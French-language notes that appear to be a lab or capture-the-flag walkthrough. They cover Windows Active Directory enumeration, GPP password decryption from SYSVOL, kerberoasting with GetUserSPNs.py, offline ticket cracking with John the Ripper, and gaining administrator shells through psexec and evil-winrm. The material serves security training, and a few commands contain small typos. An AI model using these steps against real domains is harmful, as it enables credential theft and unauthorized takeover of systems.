Enumération Windows
Enumération Windows
- nmap -Pn -p-
- -Pn Récupérer le minimum d'info
- -p- Scan TOUT les ports nmap -A windowsmachine -T5
- -T5 : plus rapide
- -A
- -O
- -sV
- -sC
- --traceroute
Chercher les protocoles SMB ? (445)
Quel ressources accessible sans mdp :
smbclient //10.10.1.1 -no-pass
Voir si accès au ressources :
smbclient //10.10.1.1/Users -no-pass
smbclient //10.10.1.1/Replication -no-pass
Nous avons accès a SYSVOL.
- SYSVOL : dossier partagé pour la réplication, ainsi que les GPO.
- GPO : config oblogatoire (eg : fond d'écran appliqué non changeable)
- GPP : Config préféré (eg : fond d'écran appliqué mais changeable)
Fonction GPP qui permet de stocké dans des fichiers Groups.xml
(le plus souvent) les Admin locaux
Chiffrement AES 32 bits
Clef pour chiffrer qui est la même que pour la déchiffrer
Commande utiles en CMD après être co avec smbclient :
recurse on
prompt off
mget *
Chercher tout les fichiers XML dans le dump :
find . -name .xml
Puis afficher le fichier avec cat
Récupération du hash de MDP et autres infos utilisateurs :
Puis gpp-decrypt
suivi de la chaine du mot de passe :
gpp-decrypt "F7EZ36574z36f857q68G7687e687f68zae7f6EZ7F6AZ74F6z897fg6e8r7g68RE6G"
Nous pouvons ensuite tester le mot de passe avec psExec
psexec.py svc-tgs@htb.htb
Il est possible de ne pas avoir assez de privilège à cette étape.
Nous pouvons tester avec winrm
que nous avons vu dans le nmap
précédent :
evil-winrm -i htb.htb -u svc_tgs
Toujours pas de privilège à ce moment.
Donc il faut tester plusieurs type d'attaque, comme le kerberoasting
.
Kerberoasting ?
Nous essaierons dans cette attaque d'identifier des comptes utilisateurs qui ont l'attribut SPN (Service Principal Name) configuré dans leur compte.
Changer l'attrbut et mettre "test".
SPN : Service Principal Name
- Nom principal d'un service
- Attribut qui permet a un application client d'identifier la machine qui héberge le service auquel il souhaite accéder.
GetUserSPNs.py -dc-ip 192.168.1.10 corp-world/administrator
Nous voyons que l'utilisateur que nous avons modifié apparait :
Pourquoi définir une valeur pour le SPN est dangereux ?
Si l'environnement n'est pas protégé nous pouvons demander des ticket TGS au KDC pour ces utilisateurs, puis nous essaierons en local de cracker ce ticket TGS qui a été protégé avec le mot de passe de l'utilisateur (en bruteforce)
Test sur la box
Donc avec les informations précédentes, nous pouvons voir si un SPN est spécifié quelque part dans un environnement :
GetUserSPNs.py -dc-ip htb.htb htb.htb/svc_tgs
Nous avons l'utilisateur Administrateur. Nous pouvons ensuite requêter un jetons TGS avec le mot de passe trouvé précédemment :
GetUserSPNs.py htb.htb/svc_tgs'MotDePasseUser' -dc-ip htb.htb -request
Puis nous pouvons essayer de le cracker, après l'avoir dans un fichier tgs_file
.
- johnTheRipper
- Hashcat
john --format-krb5tgs --wordlist=rockyou.txt tgs_file
john tgs_file --show
Une fois le mot de passe trouvé, nous pouvons tenter de prendre le contrôle :
Avec evil-winrm
:
evil-winrm -i htb.htb -u administrator
Password:
# Vous devrieze avoir le contrôle.
Avec psexec
:
psexec.py administrator@192.168.1.10
Vous devriez accéder à la machine en tant que empty_security.